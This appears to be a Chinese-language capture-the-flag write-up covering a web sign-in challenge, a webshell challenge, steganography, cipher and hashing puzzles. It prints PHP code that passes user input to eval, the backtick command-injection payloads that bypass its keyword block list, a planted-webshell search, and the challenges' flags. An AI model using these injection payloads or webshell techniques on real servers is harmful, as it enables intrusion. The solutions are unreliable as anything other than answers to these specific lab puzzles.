讲道理,题目确实并没有很难,然而我实在是太菜了,只做出了一题。。。
web签到
(连web签到都不会,我觉得我可能不适合学web(○´・д・)ノ)
<?php
if(isset($_GET['url'])){
switch (strtolower(substr($_GET['url'], 0,4))) {
case 'file':
echo 'file protocol do not allow';
break;
case 'php:':
echo 'php protocol do not allow';
break;
case 'zlib':
echo 'zlib protocol do not allow';
break;
case 'ftp:':
echo 'zip protocol do not allow';
break;
case 'phar':
echo 'phar protocol do not allow';
break;
case 'ssh2':
echo 'ssh2 protocol do not allow';
break;
case 'data':
echo 'data protocol do not allow';
break;
case 'rar:':
echo 'rar protocol do not allow';
break;
case 'ogg:':
echo 'ogg protocol do not allow';
break;
case 'expe':
echo 'expe protocol do not allow';
break;
case 'http':
echo 'http protocol do not allow';
break;
case 'glob':
echo 'glob protocol do not allow';
break;
default:
if(!preg_match('/php|flag|zlib|ftp|phar|data|rar|ogg|expe|http|glob|ssh2|\(|\)|\[|\]|[0-9]|\,|\<|\>|\?|\/|\\\|\{|\[|\}|\]|\=|\+|\-|\_|\;|\:|\'|\"/i', $_GET['url'])){
eval("include ".$_GET['url'].";");
}else{
die('error');
}
break;
}
}else{
highlight_file(__FILE__);
}
过滤了很多,无法直接读取文件,但看到了eval
,这里要用到eval命令执行
。
eval后面反引号`
里的内容会当做命令来执行。
?url=`ls`
可以看到有个fl00.php文件,但是数字和php都被过滤了,所以要用linux通配符*
?url=`cat fl**.ph*`
摇号入园
打开题目发现有一句话木马
用蚁剑连接后查找flag,,根据修改的时间先从runtime里开始找,这里用到find命令
find /var/www/html/runtime | xargs grep "flag{"
猎兔
拿到图片后一顿操作,啥都没发现,于是茫然不知所措,随便改改高看看,没想到有猫腻!
要兔头得生兔兔,生兔兔,斐波那契数列!
接下来是lsb隐写(不要问为啥,出题人自爆的)
将导出的字符串按斐波那契数列提取
# (没怎么学过Python,写的可能有点奇怪)
f=open('23.txt',"r")
flag=''
a=1
b=1
c=1
for i in range(25):
f.seek(c-1,0)
data=f.read(1)
c=a+b
a=b
b=c
flag+=data
print(data,c)
print(flag)
f.close()
ps:图片的高度一定要用crc爆破出正确高度,不能自己随便改,高度不对的话会导致lsb提取出的数据也不对
初音未来,圆周率之歌
在文件结尾发现奇怪东西,提取出来整理一下
此时出题人提示“福尔摩斯有一章说过,这种形式的密文 一般都需要一个字典。这种组合,一般表示要么是多少页的第多几个单词。但是因为 xxxx 比较大,一般没有这么厚的书。所以我们可以认为,他是一个灰常长的字典,然后?表示顺序截取?个字符。”
挺好理解的,其实就是Python里的[i:i+k],然而我没怎么学Python,所以也没这么写。。。
f=open('yuanzl.txt',"r")
flag=''
c=[2750,2535,739,3487,1925,451,898,1479,1623,1541,1232,1118,1780,594,2033,79,1193,406,1623,774,1223,1351]
d=[3,3,2,3,3,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3]
for i,j in zip(c,d):
f.seek(i,0)
data=f.read(j)
flag+=chr(int(data))
print(flag)
f.close()
差一点
(我觉得这才是签到题。。。)
很明显jsfuck,直接浏览器里控制台就行,记得去掉最后的()
天仙金丹心法
先百度一波
排列一下得到明文
○ 须
要:次
想把常面
知本用都部
道文哈是用已
本连希无来比净
题续即用凑如妙道
密进可的字真法在海
码行:○ 数灭自屎凡器
只三后全而神然溺鼎归心
○要想知道本题密码只需:把本文连续进行三次常用哈希即可:后面都是无用的○ 全部用来凑字数而已比如真灭神净妙法自然道在屎溺海凡鼎器归心
把○ 须要:次想把常面知本用都部道文哈是用已本连希无来比净题续即用凑如妙道密进可的字真法在海码行:○ 数灭自屎凡器只三后全而神然溺鼎归心
md5三次即可(32位小写)
flag{67c46c4eabd37bb422910e9b400980fd}